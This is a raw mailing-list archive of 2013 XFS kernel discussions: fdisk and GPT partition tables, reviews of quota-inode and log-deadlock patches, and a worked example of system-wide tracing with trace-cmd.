X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1373932781 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ----- Original Message ----- > From: "Matthias Schniedermeyer" > > Stop! Wait a minute! Stop it, boy! > > > > (Sorry; Meat Loaf flashback. :-) > > > > You're looking at that partition table with fdisk, *which doesn't > > understand > > GPT partition tables*; it's amazing it didn't complain louder. > > It does. At least the version i got does: > > ... > WARNING: The size of this disk is 3.0 TB (3000592982016 bytes). > DOS partition table format can not be used on drives for volumes > larger than (2199023255040 bytes) for 512-byte sectors. Use parted(1) > and GUID partition table format (GPT). > ... You're reading it wrong. That's the fdisk which you tell me understands GPT tables *telling you it does not*. > And that's not even the most recent version: > fdisk -v > fdisk (util-linux 2.20.1) > > But in the OP-Case the kernel appeared to reported the disc as 2TB, > which could be seen in the fdisk output. fdisk is not guaranteed to be using a long enough variable there to be able to report the drive size correctly. TTBOMK, *nothing* other than parted presently knows how to create and modify GPT partition tables. Except, apparently, for a program with the *singularly* poorly chosen name of "GPT Fdisk": http://sourceforge.net/projects/gptfdisk/ I know, that sounds like a *really good* name. I've been doing tech support for 30 years; trust me, it's about the worst imaginable name. :-} Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From david@fromorbit.com Mon Jul 15 19:24:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 381E37F37 for ; Mon, 15 Jul 2013 19:24:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 26A548F8039 for ; Mon, 15 Jul 2013 17:24:31 -0700 (PDT) X-ASG-Debug-ID: 1373934266-04cb6c2a46d71ba0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id qN2bK8m1ZSWQPBlC for ; Mon, 15 Jul 2013 17:24:27 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgsNAISR5FF5LK4r/2dsb2JhbABagwa9KIUwBAGBERd0giMBAQQBJxMcIwULCAMOCgklDwUlAyETiAoFtlAWjh4TgR0HgwttA5dbkU6DJCqBLQ Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Jul 2013 09:54:25 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uyt3Y-0002u8-7O; Tue, 16 Jul 2013 10:23:52 +1000 Date: Tue, 16 Jul 2013 10:23:52 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO Message-ID: <20130716002352.GA3920@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO References: <1373593665.20769.10.camel@chandra-dt.ibm.com> <20130713021349.GH3438@dastard> <1373928885.20769.42.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373928885.20769.42.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1373934266 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 15, 2013 at 05:54:45PM -0500, Chandra Seetharaman wrote: > On Sat, 2013-07-13 at 12:13 +1000, Dave Chinner wrote: > > On Thu, Jul 11, 2013 at 08:47:45PM -0500, Chandra Seetharaman wrote: > > > > > > mkfs doesn't initialize the quota inodes to NULLFSINO as it > > > does for the other internal inodes. This leads to check for two > > > values (0 and NULLFSINO) to make sure if a quota inode is > > > valid. > > > > > > Solve that problem by initializing the values to NULLFSINO > > > if they are 0. > > > > > > Note that these values are not written back to on-disk > > > superblock unless some quota is enabled on the filesystem. > > > > > > Signed-off-by: Chandra Seetharaman > > > --- > > > fs/xfs/xfs_mount.c | 12 ++++++++++++ > > > 1 files changed, 12 insertions(+), 0 deletions(-) > > > > > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > > > index 2b0ba35..8b95933 100644 > > > --- a/fs/xfs/xfs_mount.c > > > +++ b/fs/xfs/xfs_mount.c > > > @@ -572,6 +572,18 @@ out_unwind: > > > static void > > > xfs_sb_quota_from_disk(struct xfs_sb *sbp) > > > { > > > + /* > > > + * older mkfs doesn't initialize quota inodes to NULLFSINO, > > > + * which leads to two values for a quota inode to be invalid: > > > + * 0 and NULLFSINO. Fix it. > > > + */ > > > + if (sbp->sb_uquotino == 0) > > > + sbp->sb_uquotino = NULLFSINO; > > > + if (sbp->sb_gquotino == 0) > > > + sbp->sb_gquotino = NULLFSINO; > > > + if (sbp->sb_pquotino == 0) > > > + sbp->sb_pquotino = NULLFSINO; > > > > There coment needs to point out that this is changing the in-memory > > superblock value right here, so we don't need to make changing > > sb_pquotino dependent on the superblock having support for this > > feature. > > But, we are not just changing just for sb_pquotino, right ? Sure, but those other two fields are always present in the superblock... > Since we are changing all the fields independent of superblock > supporting sb_pquotino, I thought the comment should be generic. So why is it safe to modify this when sb_pquotino isn't valid in the superblock (i.e. v4 superblock) and the only valid on-disk value for an unused section of the superblock is zero? That's what the comment needs to explain. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 15 19:27:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4F3DD7F37 for ; Mon, 15 Jul 2013 19:27:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3087530404E for ; Mon, 15 Jul 2013 17:27:28 -0700 (PDT) X-ASG-Debug-ID: 1373934446-04cbb0468f10159d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id bvE0iOSax7h3B5C9 for ; Mon, 15 Jul 2013 17:27:26 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Am4NALCS5FF5LK4r/2dsb2JhbABagwa9KIEihA4EAYERF3SCIwEBBTocMwgDGAkaCw8FJQMhARKID7ZNFo4xgSSDC20Dl1uKI4crgVmBSyo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail05.adl6.internode.on.net with ESMTP; 16 Jul 2013 09:57:25 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uyt6d-0002ui-6O; Tue, 16 Jul 2013 10:27:03 +1000 Date: Tue, 16 Jul 2013 10:27:03 +1000 From: Dave Chinner To: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Message-ID: <20130716002703.GB3920@dastard> X-ASG-Orig-Subj: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 References: <20130712023930.GA6473@redhat.com> <20130713020030.GG3438@dastard> <20130715195800.GD1706@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130715195800.GD1706@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1373934446 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 15, 2013 at 03:58:00PM -0400, Dave Jones wrote: > On Sat, Jul 13, 2013 at 12:00:30PM +1000, Dave Chinner wrote: > > > > [ 97.162665] XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 > > .... > > > > So, it's not clear what has caused this yet. Is it reproducable? > > Just hit it again on the same machine. > > > would be good to get a trace of lookup vs addname events from XFS, > > too (i.e. all the xfs_dir* and xfs_da* events) so we can see if the > > correct lookups were done prior to the failing addname operation... > > <- xfs tracing noob. Got a recipe I can cut-n-paste ? > Or a patch if that's necessary.. Just use your usual method of pulling tracepoints out of the kernel, be it with perf or (my preferred method) trace-cmd: # trace-cmd record -e xfs_dir\* -e xfs_da\* .... # trace-cmd report > trace.report.out The trace.report.out file is what I'd like to see. The report file could be large, so compressing it might be an idea... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 15 19:55:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 02B0C7F37 for ; Mon, 15 Jul 2013 19:55:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E2B1C8F8033 for ; Mon, 15 Jul 2013 17:55:00 -0700 (PDT) X-ASG-Debug-ID: 1373936098-04cbb0468e1017990001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id z43smmqpN00wAcdi for ; Mon, 15 Jul 2013 17:54:59 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgsNAIqY5FF5LK4r/2dsb2JhbABagwa9KIUwBAGBERd0giMBAQQBJxMcIwULCAMOCgklDwUlAyETG4dvBbZXFo4mC4EdB4MLbQOXW4ojhyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail05.adl6.internode.on.net with ESMTP; 16 Jul 2013 10:24:57 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UytXb-0002xD-Cj; Tue, 16 Jul 2013 10:54:55 +1000 Date: Tue, 16 Jul 2013 10:54:55 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path Message-ID: <20130716005455.GC3920@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path References: <1373928754.20769.41.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373928754.20769.41.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1373936098 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 15, 2013 at 05:52:34PM -0500, Chandra Seetharaman wrote: > While testing and rearranging my pquota/gquota code, I stumbled > on a xfs_shutdown() during a mount. But the mount just hung. > > I debugged and found that there is a deadlock involving > &log->l_cilp->xc_ctx_lock. > > It is in a code path where &log->l_cilp->xc_ctx_lock is first > acquired in read mode and some levels down the same semaphore > is being acquired in write mode causing a deadlock. > > This is the stack: > xfs_log_commit_cil -> acquires &log->l_cilp->xc_ctx_lock in read mode > xlog_print_tic_res > xfs_force_shutdown > xfs_log_force_umount > xlog_cil_force > xlog_cil_force_lsn > xlog_cil_push_foreground > xlog_cil_push - tries to acquire same semaphore in write mode > > This patch fixes the deadlock by not calling xfs_force_shutdown() while > holding the semaphore, instead calling it after dropping teh semaphore. > > Thanks to Dave for suggesting this solution. > > Signed-off-by: Chandra Seetharaman > > --- > fs/xfs/xfs_log.c | 6 +++--- > fs/xfs/xfs_log_cil.c | 10 ++++++---- > fs/xfs/xfs_log_priv.h | 2 +- > fs/xfs/xfs_trans.c | 2 +- > 4 files changed, 11 insertions(+), 9 deletions(-) > > diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c > index d852a2b..b9fa2da 100644 > --- a/fs/xfs/xfs_log.c > +++ b/fs/xfs/xfs_log.c > @@ -1837,7 +1837,7 @@ xlog_state_finish_copy( > * print out info relating to regions written which consume > * the reservation > */ > -void > +int > xlog_print_tic_res( > struct xfs_mount *mp, > struct xlog_ticket *ticket) > @@ -1941,7 +1941,7 @@ xlog_print_tic_res( > > xfs_alert_tag(mp, XFS_PTAG_LOGRES, > "xlog_write: reservation ran out. Need to up reservation"); > - xfs_force_shutdown(mp, SHUTDOWN_CORRUPT_INCORE); > + return EFSCORRUPTED; Note the "SHUTDOWN_CORRUPT_INCORE" reason given here.... > diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c > index 35a2299..d96022f 100644 > --- a/fs/xfs/xfs_trans.c > +++ b/fs/xfs/xfs_trans.c > @@ -1547,7 +1547,7 @@ xfs_trans_commit( > xfs_trans_apply_dquot_deltas(tp); > > error = xfs_log_commit_cil(mp, tp, &commit_lsn, flags); > - if (error == ENOMEM) { > + if (error) { > xfs_force_shutdown(mp, SHUTDOWN_LOG_IO_ERROR); Which is different to the reason given here. The shutdown reason should be maintained for this particular error.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From davej@redhat.com Mon Jul 15 20:42:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CFB4E7F37 for ; Mon, 15 Jul 2013 20:42:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id AFF57304043 for ; Mon, 15 Jul 2013 18:42:55 -0700 (PDT) X-ASG-Debug-ID: 1373938974-04bdf0245b2c710001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id IaJGuhrTqc7EpZp0 for ; Mon, 15 Jul 2013 18:42:54 -0700 (PDT) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6G1gqIP019475 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 15 Jul 2013 21:42:52 -0400 Received: from gelk.kernelslacker.org (ovpn-113-167.phx2.redhat.com [10.3.113.167]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6G1gkXk031409 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 15 Jul 2013 21:42:51 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.5) with ESMTP id r6G1giWw030802; Mon, 15 Jul 2013 21:42:45 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id r6G1giqE030801; Mon, 15 Jul 2013 21:42:44 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Mon, 15 Jul 2013 21:42:44 -0400 From: Dave Jones To: Dave Chinner Cc: Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Message-ID: <20130716014244.GA30569@redhat.com> X-ASG-Orig-Subj: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Mail-Followup-To: Dave Jones , Dave Chinner , Linux Kernel , xfs@oss.sgi.com References: <20130712023930.GA6473@redhat.com> <20130713020030.GG3438@dastard> <20130715195800.GD1706@redhat.com> <20130716002703.GB3920@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130716002703.GB3920@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373938974 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Jul 16, 2013 at 10:27:03AM +1000, Dave Chinner wrote: > On Mon, Jul 15, 2013 at 03:58:00PM -0400, Dave Jones wrote: > > On Sat, Jul 13, 2013 at 12:00:30PM +1000, Dave Chinner wrote: > > > > > > [ 97.162665] XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 > > > .... > > > > > > So, it's not clear what has caused this yet. Is it reproducable? > > > > Just hit it again on the same machine. > > > > > would be good to get a trace of lookup vs addname events from XFS, > > > too (i.e. all the xfs_dir* and xfs_da* events) so we can see if the > > > correct lookups were done prior to the failing addname operation... > > > > <- xfs tracing noob. Got a recipe I can cut-n-paste ? > > Or a patch if that's necessary.. > > Just use your usual method of pulling tracepoints out of the kernel, > be it with perf or (my preferred method) trace-cmd: > > # trace-cmd record -e xfs_dir\* -e xfs_da\* > .... > # trace-cmd report > trace.report.out > > The trace.report.out file is what I'd like to see. The report file > could be large, so compressing it might be an idea... Hmm, will that only log traces from the command that I run ? I might need to do some kind of system-wide tracing here, because every time this has happened so far, it's happened in a different process. (rpcbind the first [wtf?], and chrony the 2nd) Can trace-cmd do that ? Dave From david@fromorbit.com Mon Jul 15 21:02:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 95B717F37 for ; Mon, 15 Jul 2013 21:02:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7D525304043 for ; Mon, 15 Jul 2013 19:02:05 -0700 (PDT) X-ASG-Debug-ID: 1373940123-04cbb04691101c9b0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id lZT35Fol8mX8dmYQ for ; Mon, 15 Jul 2013 19:02:03 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Am8NAC6p5FF5LK4r/2dsb2JhbABagwa9KYEihA4EAYESF3SCIwEBBAEeHBwoCwgDGAkaCw8FJQMhARKICgW2WRaOFxqBJIMLbQOXW4ojhyuBWYFLKoEt Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail05.adl6.internode.on.net with ESMTP; 16 Jul 2013 11:31:51 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UyuaK-00036L-7g; Tue, 16 Jul 2013 12:01:48 +1000 Date: Tue, 16 Jul 2013 12:01:48 +1000 From: Dave Chinner To: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Message-ID: <20130716020148.GA11674@dastard> X-ASG-Orig-Subj: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 References: <20130712023930.GA6473@redhat.com> <20130713020030.GG3438@dastard> <20130715195800.GD1706@redhat.com> <20130716002703.GB3920@dastard> <20130716014244.GA30569@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130716014244.GA30569@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1373940123 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 15, 2013 at 09:42:44PM -0400, Dave Jones wrote: > On Tue, Jul 16, 2013 at 10:27:03AM +1000, Dave Chinner wrote: > > On Mon, Jul 15, 2013 at 03:58:00PM -0400, Dave Jones wrote: > > > On Sat, Jul 13, 2013 at 12:00:30PM +1000, Dave Chinner wrote: > > > > > > > > [ 97.162665] XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 > > > > .... > > > > > > > > So, it's not clear what has caused this yet. Is it reproducable? > > > > > > Just hit it again on the same machine. > > > > > > > would be good to get a trace of lookup vs addname events from XFS, > > > > too (i.e. all the xfs_dir* and xfs_da* events) so we can see if the > > > > correct lookups were done prior to the failing addname operation... > > > > > > <- xfs tracing noob. Got a recipe I can cut-n-paste ? > > > Or a patch if that's necessary.. > > > > Just use your usual method of pulling tracepoints out of the kernel, > > be it with perf or (my preferred method) trace-cmd: > > > > # trace-cmd record -e xfs_dir\* -e xfs_da\* > > .... > > # trace-cmd report > trace.report.out > > > > The trace.report.out file is what I'd like to see. The report file > > could be large, so compressing it might be an idea... > > Hmm, will that only log traces from the command that I run ? No, it will capture kernel wide. The command being run just gives it a defined end-point to the capture. i.e. I often just use "sleep 30" as the command. $ sudo ~/trace-cmd/trace-cmd record -e xfs\* sleep 30 & [1] 4180 $ /sys/kernel/debug/tracing/events/xfs*/filter /sys/kernel/debug/tracing/events/*/xfs*/filter $ sudo mount /dev/vda /mnt/test $ sync $ sudo umount /mnt/test $ fg sudo ~/trace-cmd/trace-cmd record -e xfs\* sleep 30 trace-cmd: Interrupted system call recorder error in splice input offset=3eb000 Kernel buffer statistics: Note: "entries" are the entries left in the kernel ring buffer and are not recorded in the trace data. They should all be zero. CPU: 0 entries: 55 overrun: 0 commit overrun: 0 bytes: 3420 oldest event ts: 48589.221789 now ts: 48607.261966 dropped events: 0 read events: 352 $ sudo ~/trace-cmd/trace-cmd report > ~/t.t $ head -10 ~/t.t version = 6 cpus=1 mount-4185 [000] 48582.777997: xfs_buf_init: dev 253:0 bno 0xffffffffffffffff nblks 0x1 hold 1 pincount 0 lock 0 flags caller xfs_buf_get_uncached mount-4185 [000] 48582.778001: xfs_buf_get_uncached: dev 253:0 bno 0xffffffffffffffff nblks 0x1 hold 1 pincount 0 lock 0 flags PAGES caller xfs_buf_read_uncached mount-4185 [000] 48582.778002: xfs_buf_iorequest: dev 253:0 bno 0x0 nblks 0x1 hold 1 pincount 0 lock 0 flags READ|PAGES caller xfsbdstrat mount-4185 [000] 48582.778002: xfs_buf_hold: dev 253:0 bno 0x0 nblks 0x1 hold 1 pincount 0 lock 0 flags READ|PAGES caller xfs_buf_iorequest mount-4185 [000] 48582.778017: xfs_buf_rele: dev 253:0 bno 0x0 nblks 0x1 hold 2 pincount 0 lock 0 flags READ|PAGES caller xfs_buf_iorequest mount-4185 [000] 48582.778017: xfs_buf_iowait: dev 253:0 bno 0x0 nblks 0x1 hold 1 pincount 0 lock 0 flags READ|PAGES caller xfs_buf_read_uncached -0 [000] 48582.778692: xfs_buf_ioerror: dev 253:0 bno 0x0 len 0x200 hold 1 pincount 0 lock 0 error 0 flags READ|PAGES caller xfs_buf_bio_end_io -0 [000] 48582.778693: xfs_buf_iodone: dev 253:0 bno 0x0 nblks 0x1 hold 1 pincount 0 lock 0 flags READ|PAGES caller _xfs_buf_ioend $ > I might need to do some kind of system-wide tracing here, > because every time this has happened so far, it's happened in > a different process. (rpcbind the first [wtf?], and chrony the 2nd) > Can trace-cmd do that ? Yup. trace-cmd will trace global events unless you give it a specific process filter to limit what PIDs it gathers events from. Basically, trace-cmd is a much nicer front end to perf... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Mon Jul 15 21:16:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A582E7F4E for ; Mon, 15 Jul 2013 21:16:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 72041304043 for ; Mon, 15 Jul 2013 19:16:54 -0700 (PDT) X-ASG-Debug-ID: 1373941013-04bdf0245e2e760001-w1Z2WR Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id k2NQu60xPrMaRGOY for ; Mon, 15 Jul 2013 19:16:53 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6G2GrX6030959 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 15 Jul 2013 22:16:53 -0400 Received: from Liberator-563.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6G2Gqf1016711 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 